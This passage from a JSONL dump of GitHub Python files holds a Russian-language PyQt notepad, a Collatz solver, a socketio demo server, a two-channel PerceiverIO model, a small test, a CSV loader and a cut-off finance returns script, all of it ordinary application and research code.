self.button_3.hide()\n self.button_5.hide()\n\nclass ReplaceDialog(Dialog):\n def __init__(self, parent=None):\n super(ReplaceDialog, self).__init__(parent)\n self.setWindowTitle('Заменить')\n self.button_1.hide()\n self.label_2.hide()\n self.lineEdit_2.hide()\n self.button_5.hide()\n\nclass PointSizeDialog(Dialog):\n def __init__(self, parent=None):\n super(PointSizeDialog, self).__init__(parent)\n self.setWindowTitle('Изменить размер')\n self.label_0.hide()\n self.label_1.hide()\n self.lineEdit_0.hide()\n self.lineEdit_1.hide()\n self.button_0.hide()\n self.button_1.hide()\n self.button_2.hide()\n self.button_3.hide()\n\nclass Main(QMainWindow):\n def __init__(self):\n super(Main, self).__init__()\n self.findIndex = -1\n\n self.resize(741, 594)\n self.setWindowTitle('ℳℯ𝓂𝓊𝒽𝒶')\n self.setStyleSheet(\"QMenuBar\\n\"\n \" { \\n\"\n \" background-color: #404040;\\n\"\n \" color:#ffffff;\\n\"\n \" spacing: 3px; \\n\"\n \"}\\n\"\n \"QMenuBar::item \\n\"\n \"{\\n\"\n \" padding: 1px 4px;\\n\"\n \" background: transparent;\\n\"\n \"}\\n\"\n \"QMenuBar::item:selected \\n\"\n \"{\\n\"\n \" color: #5691c8;\\n\"\n \"}\\n\"\n \"QMenuBar::item:pressed \\n\"\n \"{\\n\"\n \" color: #5691c8;\\n\"\n \"}\")\n\n self.textEdit = QTextEdit(self)\n self.textEdit.setFrameShape(QFrame.NoFrame)\n self.textEdit.setFrameShadow(QFrame.Sunken)\n self.textEdit.setStyleSheet(\"background: #ededed;\\n\"\n \"color: #000000;\\n\"\n \"selection-background-color: #5691c8;\\n\"\n \"selection-color: #ffffff;\")\n self.setCentralWidget(self.textEdit)\n self.textEdit.setLineWrapMode(QTextEdit.NoWrap)\n self.textEdit.cursorPositionChanged.connect(self.mouseClick)\n\n self.showStatusBar = False\n self.statusBar().hide()\n self.statusBar().setStyleSheet(\"background-color: #404040;\\n\"\n \"color: #ffffff;\")\n\n self.menuFile = self.menuBar().addMenu('Файл')\n self.menuFile.setStyleSheet(\"QMenu\\n\"\n \" { \\n\"\n \" background-color: #404040;\\n\"\n \" color: #ffffff;\\n\"\n \"}\\n\"\n \"QMenu::item:selected \\n\"\n \"{\\n\"\n \" selection-color: #5691c8;\\n\"\n \"}\\n\"\n \"QMenu::item:pressed \\n\"\n \"{\\n\"\n \" selection-color: #5691c8;\\n\"\n \"}\")\n self.createFunction = self.menuFile.addAction('Создать')\n self.createFunction.setShortcut('Ctrl+N')\n self.createFunction.triggered.connect(self.new)\n self.newWindowFunction = self.menuFile.addAction('Новое окно')\n self.newWindowFunction.setShortcut('Ctrl+Shift+N')\n self.newWindowFunction.triggered.connect(lambda: Main().show())\n self.openFunction = self.menuFile.addAction('Открыть...')\n self.openFunction.setShortcut('Ctrl+O')\n self.openFunction.triggered.connect(self.open)\n self.saveFunction = self.menuFile.addAction('Сохранить')\n self.saveFunction.setShortcut('Ctrl+S')\n self.saveFunction.triggered.connect(self.save)\n self.menuFile.addSeparator()\n self.printPreviewFunction = self.menuFile.addAction('Параметры страницы')\n self.printPreviewFunction.setShortcut(\"Ctrl+Shift+P\")\n self.printPreviewFunction.triggered.connect(self.printPreviewDialog)\n self.printFunction = self.menuFile.addAction('Печать...')\n self.printFunction.setShortcut('Ctrl+P')\n self.printFunction.triggered.connect(self.print)\n self.menuFile.addSeparator()\n self.closeFunction = self.menuFile.addAction('Выход')\n self.closeFunction.setShortcut('Ctrl+Q')\n self.closeFunction.triggered.connect(lambda: exit(0))\n self.menuEdit = self.menuBar().addMenu('Операции')\n self.menuEdit.setStyleSheet(\"QMenu\\n\"\n \" { \\n\"\n \" background-color: #404040;\\n\"\n \" color: #ffffff;\\n\"\n \"}\\n\"\n \"QMenu::item:selected \\n\"\n \"{\\n\"\n \" selection-color: #5691c8;\\n\"\n \"}\\n\"\n \"QMenu::item:pressed \\n\"\n \"{\\n\"\n \" selection-color: #5691c8;\\n\"\n \"}\")\n self.menuEditMain = self.menuEdit.addMenu('Основные')\n self.undoFunction = self.menuEditMain.addAction('Отменить')\n self.undoFunction.setShortcut('Ctrl+Z')\n self.undoFunction.triggered.connect(self.textEdit.undo)\n self.redoFunction = self.menuEditMain.addAction('Повторить')\n self.redoFunction.setShortcut('Ctrl+Y')\n self.redoFunction.triggered.connect(self.textEdit.redo)\n self.menuEditMain.addSeparator()\n self.cutFunction = self.menuEditMain.addAction('Вырезать')\n self.cutFunction.setShortcut('Ctrl+X')\n self.cutFunction.triggered.connect(self.textEdit.cut)\n self.copyFunction = self.menuEditMain.addAction('Копировать')\n self.copyFunction.setShortcut('Ctrl+C')\n self.copyFunction.triggered.connect(self.textEdit.copy)\n self.pasteFunction = self.menuEditMain.addAction('Вставить')\n self.pasteFunction.setShortcut('Ctrl+V')\n self.pasteFunction.triggered.connect(self.textEdit.paste)\n self.menuEditSelection = self.menuEdit.addMenu('Выделения')\n self.boldFunction = self.menuEditSelection.addAction('Полужирный')\n self.boldFunction.setShortcut('Ctrl+B')\n self.boldFunction.triggered.connect(self.fontBold)\n self.italicFunction = self.menuEditSelection.addAction('Курсив')\n self.italicFunction.setShortcut('Ctrl+I')\n self.italicFunction.triggered.connect(self.fontItaic)\n self.underLineFunction = self.menuEditSelection.addAction('Подчеркнуть')\n self.underLineFunction.setShortcut('Ctrl+U')\n self.underLineFunction.triggered.connect(self.fontUnderLine)\n self.menuEditSelection.addSeparator()\n self.colorFontFunction = self.menuEditSelection.addAction('Цвет шрифта...')\n self.colorFontFunction.setShortcut('Ctrl+M')\n self.colorFontFunction.triggered.connect(self.changeFontColor)\n self.colorBackgroundFontFunction = self.menuEditSelection.addAction('Цвет выделения...')\n self.colorBackgroundFontFunction.setShortcut('Ctrl+H')\n self.colorBackgroundFontFunction.triggered.connect(self.changeBackgroundColor)\n self.fontFunction = self.menuEditSelection.addAction('Размер шрифта...')\n self.fontFunction.setShortcut('Ctrl+T')\n self.fontFunction.triggered.connect(lambda: PointSizeDialog(self).show())\n self.menuEditSelection.addSeparator()\n self.selectAllFunction = self.menuEditSelection.addAction('Выделить всё')\n self.selectAllFunction.setShortcut('Ctrl+A')\n self.selectAllFunction.triggered.connect(self.textEdit.selectAll)\n self.menuEdit.addSeparator()\n self.menuEditOther = self.menuEdit.addMenu('Другие')\n self.findFunction = self.menuEditOther.addAction('Найти...')\n self.findFunction.setShortcut('Ctrl+F')\n self.findFunction.triggered.connect(lambda: FindDialog(self).show())\n self.replaceFunction = self.menuEditOther.addAction('Заменить...')\n self.replaceFunction.setShortcut('Ctrl+R')\n self.replaceFunction.triggered.connect(lambda: ReplaceDialog(self).show())\n self.dateFunction = self.menuEditOther.addAction('Время и дата')\n self.dateFunction.setShortcut('Ctrl+D')\n self.dateFunction.triggered.connect(self.time)\n self.menuView = self.menuBar().addMenu('Вид')\n self.menuView.setStyleSheet(\"QMenu\\n\"\n \" { \\n\"\n \" background-color: #404040;\\n\"\n \" color: #ffffff;\\n\"\n \"}\\n\"\n \"QMenu::item:selected \\n\"\n \"{\\n\"\n \" selection-color: #5691c8;\\n\"\n \"}\\n\"\n \"QMenu::item:pressed \\n\"\n \"{\\n\"\n \" selection-color: #5691c8;\\n\"\n \"}\")\n self.zoomInFunction = self.menuView.addAction('Увеличить')\n self.zoomInFunction.setShortcut('Ctrl+=')\n self.zoomInFunction.triggered.connect(self.textEdit.zoomIn)\n self.zoomOutFunction = self.menuView.addAction('Уменьшить')\n self.zoomOutFunction.setShortcut('Ctrl+-')\n self.zoomOutFunction.triggered.connect(self.textEdit.zoomOut)\n self.lineWrapFunction = self.menuView.addAction('Перенос по словам')\n self.lineWrapFunction.setShortcut('Ctrl+1')\n self.lineWrapFunction.setCheckable(True)\n self.lineWrapFunction.triggered.connect(self.viewLineWrap)\n self.showStatusBarFunction = self.menuView.addAction('Строка состояния')\n self.showStatusBarFunction.setShortcut('Ctrl+2')\n self.showStatusBarFunction.setCheckable(True)\n self.showStatusBarFunction.triggered.connect(self.viewStatusBar)\n\n def new(self):\n if not self.textEdit.toPlainText() == '':\n question = QMessageBox()\n question.setWindowTitle(\"ℳℯ𝓂𝓊𝒽𝒶\")\n question.setText(\"Вы хотите сохранить изменения в файле Без имени?\")\n question.setIcon(QMessageBox.Question)\n questionSave = question.addButton('Сохранить', QMessageBox.YesRole)\n questionSave.clicked.connect(self.save)\n questionSave.clicked.connect(self.textEdit.clear)\n questionDontSave = question.addButton('Не сохранять', QMessageBox.YesRole)\n questionDontSave.clicked.connect(self.textEdit.clear)\n questionCancel = question.addButton('Отмена', QMessageBox.RejectRole)\n question.exec_()\n else :\n self.textEdit.clear()\n\n def open(self):\n file, _ = QFileDialog.getOpenFileName(None, 'Открыть', '', 'Текстовые документы(*.txt);;Расширенные'\n ' текстовые документы(*.rtf);;Все файлы (*.*)')\n if file == '':\n return\n with open(file, mode='r') as f:\n self.textEdit.setPlainText(f.read())\n\n def save(self):\n file, _ = QFileDialog.getSaveFileName(None, 'Сохранить как', '', 'Текстовые документы(*.txt);;Расширенные'\n ' текстовые документы(*.rtf);;Все файлы (*.*)')\n if file == '':\n return\n with open(file, mode='w') as f:\n f.write(self.textEdit.toPlainText())\n\n def print(self):\n printer = QPrinter(QPrinter.HighResolution)\n printDialog = QPrintDialog(printer, self)\n if printDialog.exec_() == QPrintDialog.accepted:\n self.textEdit.print_(printer)\n\n def printPreviewDialog(self):\n printer = QPrinter(QPrinter.HighResolution)\n preview = QPrintPreviewDialog(printer, self)\n preview.paintRequested.connect(self.printPreview)\n preview.exec_()\n\n def printPreview(self, printer):\n self.textEdit.print_(printer)\n\n def fontBold(self):\n if not self.textEdit.fontWeight() == QFont.Bold:\n self.textEdit.setFontWeight(QFont.Bold)\n else:\n self.textEdit.setFontWeight(QFont.Normal)\n\n def fontItaic(self):\n if self.textEdit.fontItalic():\n self.textEdit.setFontItalic(False)\n else:\n self.textEdit.setFontItalic(True)\n\n def fontUnderLine(self):\n if self.textEdit.fontUnderline():\n self.textEdit.setFontUnderline(False)\n else:\n self.textEdit.setFontUnderline(True)\n\n def changeFontColor(self):\n color = QColorDialog.getColor()\n if color.isValid():\n self.textEdit.setTextColor(color)\n\n def changeBackgroundColor(self):\n color = QColorDialog.getColor()\n if color.isValid():\n self.textEdit.setTextBackgroundColor(color)\n\n def changeFont(self, font):\n try:\n float(font)\n self.textEdit.setFontPointSize(float(font))\n return True\n except ValueError:\n error = QMessageBox()\n error.setWindowTitle(\"Ошибка\")\n error.setText(\"Неверно введено значение!\")\n error.setIcon(QMessageBox.Critical)\n error.exec_()\n return False\n\n def viewLineWrap(self):\n if self.textEdit.lineWrapMode():\n self.textEdit.setLineWrapMode(QTextEdit.NoWrap)\n else:\n self.textEdit.setLineWrapMode(QTextEdit.WidgetWidth)\n\n def viewStatusBar(self):\n if self.showStatusBar:\n self.showStatusBar = False\n else:\n self.showStatusBar = True\n\n def findText(self, findText, reverse=False):\n if findText == '':\n return\n text = self.textEdit.toPlainText()\n if reverse:\n self.findIndex = text.rfind(findText, 0, self.findIndex)\n else:\n self.findIndex = text.find(findText, self.findIndex + 1)\n if self.findIndex == -1:\n notFind = QMessageBox()\n notFind.setWindowTitle(\"Ошибка\")\n notFind.setText(f'Не удаётся найти \"{findText}\"')\n notFind.setIcon(QMessageBox.Critical)\n notFind.exec_()\n return\n textCursor = self.textEdit.textCursor()\n textCursor.setPosition(self.findIndex)\n textCursor.setPosition(self.findIndex + len(findText), QTextCursor.KeepAnchor)\n self.textEdit.setTextCursor(textCursor)\n self.activateWindow()\n\n def replace(self, findText, replaceText):\n text = self.textEdit.toPlainText()\n if findText == self.textEdit.textCursor().selectedText():\n index = self.textEdit.textCursor().selectionStart()\n replaced = text[: index] + replaceText + text[index + len(findText):]\n self.textEdit.setPlainText(replaced)\n self.findText(findText)\n\n def replaceAll(self, findText, replaceText):\n self.textEdit.setPlainText(self.textEdit.toPlainText().replace(findText, replaceText))\n\n def time(self):\n nowTime = datetime.now()\n self.textEdit.insertPlainText(nowTime.strftime('%H:%M %d.%m.%Y'))\n\n def mouseClick(self):\n if self.showStatusBar == False:\n self.statusBar().hide()\n else:\n self.statusBar().show()\n cursorText = self.textEdit.textCursor()\n self.statusBar().showMessage((f'Строка {cursorText.blockNumber()}, столбец {cursorText.positionInBlock()}'))\n\n def closeEvent(self, QCloseEvent):\n if not self.textEdit.toPlainText() == '':\n question = QMessageBox()\n question.setWindowTitle(\"ℳℯ𝓂𝓊𝒽𝒶\")\n question.setText(\"Вы хотите сохранить изменения в файле Без имени?\")\n question.setIcon(QMessageBox.Question)\n questionSave = question.addButton('Сохранить', QMessageBox.YesRole)\n questionSave.clicked.connect(self.save)\n questionDontSave = question.addButton('Не сохранять', QMessageBox.YesRole)\n questionCancel = question.addButton('Отмена', QMessageBox.RejectRole)\n questionCancel.clicked.connect(QCloseEvent.ignore)\n question.exec_()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n app.setStyle(QStyleFactory.create(\"Fusion\"))\n app.setWindowIcon(QIcon('logo.png'))\n main = Main()\n main.show()\n app.exec()","repo_name":"XO3RNH/METNHA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":20297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11398249462","text":"#Michael Claveria\n#Project Euler Problem 14\n\ndef collatz(n):\n length = 0\n while n != 1:\n #print (str(n))\n length += 1\n if n % 2 == 0:\n n = int(n / 2)\n else:\n n = int((3 * n) + 1)\n #print ('1')\n return length\n\n\ntracker, value = 0, 0\nfor i in range (1, 1000000):\n if collatz(i) > tracker:\n tracker = collatz(i)\n value = i\nprint(str('longest value is: ' + str(value) + ' with chain of ' + str(tracker)))\n\n#longest value is: 837799 with chain of 524","repo_name":"mclaveria/Project_Euler","sub_path":"Problem014_Longest_Collatz.py","file_name":"Problem014_Longest_Collatz.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32174074416","text":"from apps.courses.models import *\n\ndef get_course_deatils(course_list):\n\tget_course_deatils_list = []\n\tfor course in course_list:\n\t\timage_link = course.image_link\n\t\tuniversity_name = course.university.name\n\t\tuniversity_website = course.university.website\n\t\tshort_name = course.short_name\n\t\tcourse_name = course.name\n\t\tstart_date = str(course.start_date)\n\t\tduration_string = course.duration_string\n\t\tinstructor_list = CourseInstructorMapping.objects.filter(course = course)\n\t\tinstructors = [[(obj.instructor.first_name + ' ' + obj.instructor.last_name) , obj.id] for obj in instructor_list]\n\t\tget_course_deatils_list.append([image_link,university_website,university_name,short_name,course_name,start_date,\n\t\t\t\t\t\t\t\t\t\tduration_string,instructors])\n\n\treturn get_course_deatils_list","repo_name":"prafulbagai/Coursera","sub_path":"apps/courses/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31417441825","text":"import eventlet\nimport socketio\n\nsio = socketio.Server()\napp = socketio.WSGIApp(sio)\n\n@sio.event\ndef connect(sid, environ):\n print('connect ', sid)\n sio.emit('new-message', {'data': 'foobar'})\n\n@sio.event\ndef my_message(sid, data):\n print('message ', data)\n\n@sio.event\ndef disconnect(sid):\n print('disconnect ', sid)\n\n@sio.on('new-message')\ndef bleh(sid, data):\n print('new-message', data)\n sio.emit('new-message', {'data': 'foobar'}, room=sid)\n\nif __name__ == '__main__':\n eventlet.wsgi.server(eventlet.listen(('', 5000)), app)","repo_name":"egeldenhuys/group-2","sub_path":"python-socketio/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37703979960","text":"# Adapted from: https://github.com/lucidrains/perceiver-pytorch/edit/main/perceiver_pytorch/perceiver_io.py\n\nfrom math import pi, log\nfrom functools import wraps\nfrom helpers import *\n\nimport torch\nfrom torch import nn, einsum\nimport torch.nn.functional as F\nimport perceiver_pytorch\nfrom perceiver_pytorch.perceiver_io import *#PreNorm, Attention, FeedForward\nfrom performer_pytorch.performer_pytorch import FixedPositionalEmbedding\nfrom einops import rearrange, repeat\n\n\nimport sys\n#sys.path.append('/nfs/stak/users/popeq/Research/Microbiome/vilbert-multi-task/vilbert')\n#import vilbert\n\nclass CrossModalAttention(nn.Module):\n def __init__(\n self,\n emb_dim,\n num_heads,\n num_latents\n ):\n super().__init__()\n self.value = nn.Parameter(torch.randn(num_latents, emb_dim))\n self.attention = nn.MultiheadAttention(emb_dim, num_heads)\n\n def forward(\n self,\n key,\n query\n ):\n batch_size = key.shape[0]\n sa_value = self.value.unsqueeze(0).repeat(batch_size, 1, 1)\n\n attn_output, attn_output_weights = self.attention(query, key, sa_value)\n return attn_output\n\nclass PerceiverIOTwoChannel(nn.Module):\n def __init__(\n self,\n *,\n depth,\n dim,\n queries_dim,\n logits_dim = None,\n num_latents = 512,\n latent_dim = 512,\n cross_heads = 1,\n latent_heads = 8,\n cross_dim_head = 64,\n latent_dim_head = 64,\n weight_tie_layers = False,\n decoder_ff = False\n ):\n super().__init__()\n #self.vlibert_cfg = vilbert.BertConfig(logits_dim, hidden_size=latent_dim, bi_hidden_size=latent_dim, hidden_dropout_prob=0, attention_probs_dropout_prob=0,\n # v_attention_probs_dropout_prob=0, v_hidden_dropout_prob=0, bi_num_attention_heads=8, v_hidden_size=latent_dim)\n #self.cross_modal_attention = vilbert.BertBiAttention(self.vlibert_cfg)\n self.latent_dim = latent_dim\n self.latents_1 = nn.Parameter(torch.randn(num_latents, latent_dim))\n self.cross_attend_blocks_1 = nn.ModuleList([\n PreNorm(latent_dim, Attention(latent_dim, dim, heads = cross_heads, dim_head = cross_dim_head), context_dim = dim),\n PreNorm(latent_dim, FeedForward(latent_dim))\n ])\n self.decoder_cross_attn_1 = PreNorm(queries_dim, Attention(queries_dim, latent_dim, heads = cross_heads, dim_head = cross_dim_head), context_dim = latent_dim)\n self.decoder_ff_1 = PreNorm(queries_dim, FeedForward(queries_dim)) if decoder_ff else None\n\n self.latents_2 = nn.Parameter(torch.randn(num_latents, latent_dim))\n self.cross_attend_blocks_2 = nn.ModuleList([\n PreNorm(latent_dim, Attention(latent_dim, dim, heads = cross_heads, dim_head = cross_dim_head), context_dim = dim),\n PreNorm(latent_dim, FeedForward(latent_dim))\n ])\n self.decoder_cross_attn_2 = PreNorm(queries_dim, Attention(queries_dim, latent_dim, heads = cross_heads, dim_head = cross_dim_head), context_dim = latent_dim)\n self.decoder_ff_2 = PreNorm(queries_dim, FeedForward(queries_dim)) if decoder_ff else None\n\n get_latent_attn = lambda: PreNorm(latent_dim, Attention(latent_dim, heads = latent_heads, dim_head = latent_dim_head))\n get_latent_ff = lambda: PreNorm(latent_dim, FeedForward(latent_dim))\n get_latent_attn, get_latent_ff = map(cache_fn, (get_latent_attn, get_latent_ff))\n\n get_cross_attn = lambda: PreNorm(2 * latent_dim, Attention(2 * latent_dim, heads = 2 * latent_heads, dim_head = latent_dim_head))\n get_cross_ff = lambda: PreNorm(2 * latent_dim, FeedForward(2 * latent_dim))\n get_cross_attn, get_cross_ff = map(cache_fn, (get_cross_attn, get_cross_ff))\n\n self.layers = nn.ModuleList([])\n cache_args = {'_cache': weight_tie_layers}\n for i in range(depth):\n self.layers.append(nn.ModuleList([\n get_latent_attn(**cache_args),\n get_latent_ff(**cache_args),\n get_latent_attn(**cache_args),\n get_latent_ff(**cache_args),\n get_cross_attn(**cache_args),\n get_cross_ff(**cache_args),\n #CrossModalAttention(emb_dim=latent_dim, num_heads=16, num_latents=num_latents)\n ]))\n\n self.decoder_cross_attn = PreNorm(queries_dim, Attention(queries_dim, latent_dim, heads = cross_heads, dim_head = cross_dim_head), context_dim = latent_dim)\n self.decoder_ff = PreNorm(queries_dim, FeedForward(queries_dim)) if decoder_ff else None\n\n self.to_logits = nn.Linear(queries_dim, logits_dim) if exists(logits_dim) else nn.Identity()\n\n def common_forward(\n self,\n latents,\n cross_attend_blocks,\n data,\n mask = None,\n ):\n b, *_, device = *data.shape, data.device\n x = repeat(latents, 'n d -> b n d', b = b)\n cross_attn, cross_ff = cross_attend_blocks\n\n # cross attention only happens once for Perceiver IO\n\n x = cross_attn(x, context = data, mask = mask) + x\n x = cross_ff(x) + x\n return x, b\n\n\n def forward(\n self,\n data_1,\n data_2,\n mask = None,\n ca_mask_1 = None,\n ca_mask_2 = None,\n queries = None\n ):\n x_1, b = self.common_forward(self.latents_1, self.cross_attend_blocks_1, data_1, ca_mask_1)\n x_2, _ = self.common_forward(self.latents_2, self.cross_attend_blocks_2, data_2, ca_mask_2)\n #print(data_1.size(), data_2.size(), b)\n if not exists(ca_mask_1):\n ca_mask_1 = torch.ones_like(x_1[:,:,0])\n if not exists(ca_mask_2):\n ca_mask_2 = torch.ones_like(x_2[:,:,0])\n # layers\n\n for self_attn_1, self_ff_1, self_attn_2, self_ff_2, cross_attn, cross_ff in self.layers:\n x_1 = self_attn_1(x_1) + x_1\n x_1 = self_ff_1(x_1) + x_1\n \n x_2 = self_attn_2(x_2) + x_2\n x_2 = self_ff_2(x_2) + x_2\n\n #print(x_1.size(), x_2.size(), ca_mask_1.size(), ca_mask_2.size())\n both_modalities = torch.cat((x_1, x_2), dim=2)\n cross_attention_output = cross_attn(both_modalities)\n mixed_modalities = cross_ff(cross_attention_output)\n x_1 = mixed_modalities[:, :, :self.latent_dim]\n x_2 = mixed_modalities[:, :, self.latent_dim:]\n\n \n x = torch.cat((x_1, x_2), dim=1)\n\n if not exists(queries):\n return x\n\n # make sure queries contains batch dimension\n\n if queries.ndim == 2:\n queries = repeat(queries, 'n d -> b n d', b = b)\n\n # cross attend from decoder queries to latents\n \n latents = self.decoder_cross_attn(queries, context = x)\n\n # optional decoder feedforward\n\n if exists(self.decoder_ff):\n latents = latents + self.decoder_ff(latents)\n\n # final linear out\n\n return self.to_logits(latents)\n\n\n\nclass PerceiverLMTwoChannel(nn.Module):\n def __init__(\n self,\n *,\n dim,\n num_tokens,\n max_seq_len,\n pos_emb='abs',\n **kwargs\n ):\n super().__init__()\n self.pos_emb_type = pos_emb\n self.token_emb = nn.Embedding(num_tokens, dim)\n\n if pos_emb == 'fixed':\n self.pos_emb = FixedPositionalEmbedding(dim, max_seq_len)\n elif pos_emb == 'abs':\n self.pos_emb = nn.Embedding(max_seq_len, dim)\n\n self.perceiver_io = PerceiverIOTwoChannel(\n dim = dim,\n queries_dim = dim,\n logits_dim = num_tokens,\n **kwargs\n )\n\n def forward(\n self,\n x_1,\n x_2,\n mask = None,\n ca_mask_1 = None,\n ca_mask_2 = None\n \n ):\n n_1, n_2, device = x_1.shape[1], x_2.shape[1], x_1.device\n x_1 = self.token_emb(x_1)\n x_2 = self.token_emb(x_2)\n\n\n if self.pos_emb_type == 'abs':\n pos_emb_1 = self.pos_emb(torch.arange(n_1, device = device))\n pos_emb_1 = rearrange(pos_emb_1, 'n d -> () n d')\n\n pos_emb_2 = self.pos_emb(torch.arange(n_2, device = device))\n pos_emb_2 = rearrange(pos_emb_2, 'n d -> () n d')\n elif self.pos_emb_type == 'fixed':\n pos_emb_1 = self.pos_emb(x_1)\n pos_emb_2 = self.pos_emb(x_2)\n\n x_1 = x_1 + pos_emb_1\n x_2 = x_2 + pos_emb_2\n\n queries = torch.cat((x_1, x_2), dim=1)\n logits = self.perceiver_io(x_1, x_2, mask = mask, ca_mask_1 = ca_mask_1, ca_mask_2 = ca_mask_2, queries = queries)\n return logits\n","repo_name":"QuintinPope/FASTA_Perceiver","sub_path":"two_channel_perceiver.py","file_name":"two_channel_perceiver.py","file_ext":"py","file_size_in_byte":8666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11058193037","text":"import numpy as np\n\nfrom autora.experimentalist.leverage import leverage_sample\nfrom autora.theorist.darts import DARTSRegressor\n\nDARTSRegressor()\n\n\ndef test_output_dimensions():\n # Meta-Setup\n X = np.linspace(start=-3, stop=6, num=10).reshape(-1, 1)\n y = (X**2).reshape(-1, 1)\n n = 5\n\n # Theorists\n darts_theorist = DARTSRegressor()\n darts_theorist.fit(X, y)\n\n # Sampler\n X_new = leverage_sample(X, y, [darts_theorist], fit=\"both\", num_samples=n)\n\n # Check that the sampler returns n experiment conditions\n assert X_new.shape == (n,)\n","repo_name":"AutoResearch/autora-experimentalist-leverage","sub_path":"tests/test_leverage.py","file_name":"test_leverage.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31314487609","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 24 12:31:38 2020\n\n@author: Laurens Roos\n\"\"\"\n\n\n\"\"\"\n_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/\n\nName: get_CSV_data\n\nPurpose: getting and returning the data from the file path \n\nExpected input: file path as string \n\nExpected output: CSV data as pandas array\n\nDependancies: Pandas logging\n\n\"\"\"\nimport pandas as pd\nimport logging\n\ndef get_CSV_data(file_loc = '-1'):\n if file_loc != -1:\n data = pd.read_csv(\"{}.csv\".format(file_loc))\n logging.info(\"CSV loaded\")\n return(data)\n else:\n logging.info(\"no file path fiven\")\n","repo_name":"jordy-u/COVID-19-Dashboard-NL","sub_path":"Backend/CSV_helper.py","file_name":"CSV_helper.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24226533977","text":"import pandas as pd\r\nimport yfinance as yf\r\nimport datetime as datetime\r\nimport math\r\n\r\ndef get_prices():\r\n\r\n with open('price_data.csv') as f:\r\n price_data = pd.read_csv(f)\r\n\r\n price_data = price_data.pivot(index=\"DATE_\",columns=\"TICKER\",values=\"PRICE\")\r\n\r\n price_data = price_data.rename(columns={\r\n 'CommodityIndex|SPGSCITR': \"Commodities|SPGSCITR\",\r\n 'EquityIndex|EAFE': \"Equities|EAFE\",\r\n 'EquityIndex|MXEF': \"Equities|MXEF\",\r\n 'EquityIndex|SPX': \"Equities|SPX\",\r\n 'FXIndex|DXY Index': \"Currencies|DXY\",\r\n 'FixedIncomeIndex|JPMTUS': \"Fixed Income|JPMTUS\",\r\n 'NominalGovBond|USDUSA': \"3M Treasury Rate\"\r\n })\r\n\r\n price_data.index = pd.to_datetime(price_data.index, infer_datetime_format=True)\r\n price_data = price_data.sort_index(axis = 0)\r\n\r\n return price_data\r\n\r\ndef calc_returns(prices, lp, hp):\r\n tickers = ['Commodities|SPGSCITR', 'Equities|EAFE', 'Equities|MXEF',\r\n 'Equities|SPX', 'Currencies|DXY', 'Fixed Income|JPMTUS']\r\n rets = prices[tickers].pct_change()\r\n excess_rets = rets.sub(prices['3M Treasury Rate'].diff()/100, axis=0).dropna()\r\n excess_rets_cum = (1+excess_rets).cumprod()\r\n\r\n excess_rets_cum_m = excess_rets_cum.groupby([excess_rets_cum.index.year, excess_rets_cum.index.month], as_index=True).last()\r\n index = excess_rets_cum_m.index.to_flat_index().to_series()\r\n index = index.apply(lambda x: x + (28,))\r\n index = index.apply(lambda x: datetime.date(*x))\r\n excess_rets_cum_m.set_index(index, inplace=True)\r\n excess_rets_cum_m.index = pd.to_datetime(excess_rets_cum_m.index)\r\n excess_rets_cum_m.index = excess_rets_cum_m.index.to_period('M')\r\n\r\n excess_rets_lb = (excess_rets_cum_m/excess_rets_cum_m.shift(lp)-1).dropna()\r\n excess_rets_hp = excess_rets_cum_m/excess_rets_cum_m.shift(hp)-1\r\n excess_rets_hp = excess_rets_hp.loc[excess_rets_lb.index]\r\n\r\n return excess_rets_lb, excess_rets_hp\r\n\r\ndef calc_ex_ante_volatilities(prices, delta):\r\n '''\r\n tickers = ['Commodities|SPGSCITR', 'Equities|EAFE', 'Equities|MXEF',\r\n 'Equities|SPX', 'Currencies|DXY', 'Fixed Income|JPMTUS']\r\n rets = prices[tickers].pct_change()\r\n excess_rets = rets.sub(prices['3M Treasury Rate'].diff()/100, axis=0).dropna()\r\n\r\n # Initialize exponetially weighted average returns\r\n ewar = pd.DataFrame(index=excess_rets.index[excess_rets.index.year > 2004], columns = excess_rets.columns) \r\n # Initialize ex ante volatilities\r\n ea_vol = pd.DataFrame(index=excess_rets.index[excess_rets.index.year > 2004], columns = excess_rets.columns)\r\n for idx in ewar.index:\r\n for col in ewar.columns:\r\n ewar.loc[idx,col] = 0\r\n ea_vol.loc[idx,col] = 0\r\n excess_rets_t = excess_rets.loc[excess_rets.index < idx,col].tail(261)\r\n for i, row in enumerate(excess_rets_t.reindex().sort_index(ascending=False)): \r\n ewar.loc[idx,col] += (1-delta)*(delta**i)*row\r\n for i, row in enumerate(excess_rets_t.reindex().sort_index(ascending=False)): \r\n ea_vol.loc[idx,col] += (1-delta)*(delta**i)*((row-ewar.loc[idx,col])**2)\r\n ea_vol.loc[idx,col] = math.sqrt(261*ea_vol.loc[idx,col])\r\n \r\n ea_vol = ea_vol.groupby([ea_vol.index.year, ea_vol.index.month], as_index=True).last()\r\n index = ea_vol.index.to_flat_index().to_series()\r\n index = index.apply(lambda x: x + (28,))\r\n index = index.apply(lambda x: datetime.date(*x))\r\n ea_vol.set_index(index, inplace=True)\r\n ea_vol.index = pd.to_datetime(ea_vol.index)\r\n ea_vol.index = ea_vol.index.to_period('M')\r\n\r\n filepath = Path('C:/Users/ghotrad2/Desktop/Personal/Prep/Interview Preparation/Projects and Courses/Projects/6. Time Series 